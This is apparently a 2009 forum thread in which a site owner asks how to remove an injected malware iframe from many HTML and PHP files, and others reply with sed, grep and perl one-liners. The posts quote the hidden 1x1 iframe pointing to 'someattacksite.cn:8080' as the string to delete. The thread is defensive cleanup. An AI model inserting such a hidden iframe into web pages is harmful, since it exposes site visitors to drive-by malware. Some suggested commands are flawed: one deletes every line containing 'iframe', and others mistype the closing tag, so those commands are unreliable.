Removing a string from multiple files using bash: BASH

by: ozoPosted on 2009-08-09 at 19:49:26ID: 25056894

something like
perl -i.bak -0ne 's#<iframe[^>]*>.*?</iframe>#gs' *

by: jack_Posted on 2009-08-09 at 20:21:01ID: 25056995

sed "/iframe/d" yourfilename

by: jack_Posted on 2009-08-09 at 20:22:58ID: 25057001

Please sort ur file extension and u can do like this

sed "/iframe/d" *.php
sed "/iframe/d" *.html

Hope this helps...

sed "/iframe/d" *.php
sed "/iframe/d" *.html

1:
2:

Select all Open in new window

by: jack_Posted on 2009-08-09 at 20:23:50ID: 25057005

Once u done with this iframe virus deletion please change ur ftp password.

by: TintinPosted on 2009-08-09 at 20:27:46ID: 25057016

Please give a sample line that you need removed.

Is the iframe tag embedded in a line, separated or split over multiple lines?

by: jack_Posted on 2009-08-09 at 20:27:56ID: 25057017

Hi sorry the code i post jus delete the iframe and not save the file.

U can use
sed "/iframe/d" yourfilename >new file name

Then u can delete all the old files or rename it and use the new one...

The code is tested...

by: nemws1Posted on 2009-08-09 at 21:32:41ID: 25057180

Ozo's solution is the only one that deletes the contents of the iframe - which I believe the original was after. The other solutions just remove the string "iframe" from all the files, which will leave you with a bunch of broken HTML files.

Back up your files before you try any of these solutions! (Although Ozo's solution actually does this as well - he's very good).

by: While1-BreathePosted on 2009-08-09 at 21:35:27ID: 25057184

Hi All,

Thanks for the quick responses. Below is some more information on what i've found. Some may not be relevant but I thought it best to give too much detail than too little.

@Ozo; Could you break your suggestion down for me? I can't replace all instances of 'iframe' as there are legitimate implementations on the sites. I really need to target only the specific frame.

@Jack; I can't really change the file names, or at least I need to change them all back after removing the offending frame. (Already changed the FTP details and isolated the affected systems, thanks for being thorough!).

In HTML files it places the frame immediately after the <body> tag. I think it searches for the string 'body' however as i've seen one case where it inserted the frame after a class with 'body' in it. In PHP files it places the iframe at the end of the file.

The frame is always iserted after the tag on a single line:

<body><iframe src="http://someattacksite.cn:8080" width=1 height=1 style="visibility: hidden"></iframe>

I've also found various cases where it seems to have created it's own 'default.html' and 'index.html' files in various subdirectories. These files contain the following:

No Access
<iframe src="http://someattacksite.cn:8080" width=1 height=1 style="visibility: hidden"></iframe>

I'm guessing the script used just creates these files once it hits a dead end.

As far as I can tell looks for 'default.*' and 'index.*' files, however I've also found one case where 'home.php' was affected so i'd guess it looks for files of that name also.

I've been able to find the infected files (with a pretty good certainty, some of the affected sites were small enough to manually check) by using grep:

grep -R ":8080" *

and

grep -R ".cn:8080"

Thanks for your help!

by: While1-BreathePosted on 2009-08-09 at 21:51:33ID: 25057217

Thanks nemws1, I was writing at the same time as you I think.

Creating backups would be great... If Ozo could elaborate a little I'd happily go with his suggestion. I've got absolutely no idea wrt perl, but no objections to learning either.

It might be asking too much but and ideal solution would be a generic script along the lines of;

1. Find files with [some string] in [some path]
2. Print a list of files to be changed, request confirmation
3. Backup said files in a neutral format, in their own directories same directory (so that the malicious link isn't a threat and the backup is in a logical place)
4. Remove [some string]
5. Save or email a log file of changes, with full paths.

I'll bump up the points if i can get the whole enchilada...

by: ozoPosted on 2009-08-10 at 02:26:00ID: 25058247

if the iframe is always exactly the same
perl -i.bak -pe 's#<iframe src="http://someattacksite.cn:8080" width=1 height=1 style="visibility: hidden"></iframe>##g' *.html *.php

by: While1-BreathePosted on 2009-08-11 at 18:47:39ID: 25075121

Thanks Ozo, this is working in my tests within the same directory but I'm having difficulty getting it to work on the files found using grep (if theres another way to get it to recurse, please let me know).

for files in 'grep -R -l ".cn:8080" *'; do
perl -i.bak -pe 's#\<iframe src="http://someattacksite.cn:8080" width=1 height=1 style="visibility: hidden"\>\<iframe\>##g' *.html *.php
done

Any suggestions appreciated.

Cheers,

W1B

by: ozoPosted on 2009-08-11 at 19:19:12ID: 25075233

find . -name '*.html' -o '*.php' | xargs perl -i.bak -pe 's#<iframe src="http://someattacksite.cn:8080" width=1 height=1 style="visibility: hidden"><iframe>##g'

by: ozoPosted on 2009-08-11 at 19:21:40ID: 25075246

grep -R -l ".cn:8080" . | xargs perl -i.bak -pe 's#<iframe src="http://someattacksite.cn:8080" width=1 height=1 style="visibility: hidden"><iframe>##gi'

by: While1-BreathePosted on 2009-08-11 at 21:09:27ID: 25075699

Thanks Ozo!

Question

Removing a string from multiple files using bash

Subscribe now for full access to Experts Exchange and get

Instant Access to this Solution

BASH

Bourne-Again Shell (bash)

Web Servers

Anti-Virus

Trusted by hundreds of thousands everyday for fast, accurate and reliable tech support.

See what Experts Exchange can do for you.

Got a question?

We've got the answer.

Need individual assistance?

Our experts are ready to help.

Want to learn from the best?

Read articles from industry experts.

Working on a long term project?

Store your work and research.

What Makes Experts Exchange Unique?

Trusted by the world's most respected brands.

Faithfully serving IT professionals since 1996.

Related Solutions

Free Tech Articles

Cloud Class Webinars

Join the Community

Give a Little. Get a Lot.

Answers

3 Ways to Join

The Experts

The Experts

Testimonials

Testimonials

Testimonials

Business Clients

Business Clients

In the Press

In the Press

In the Press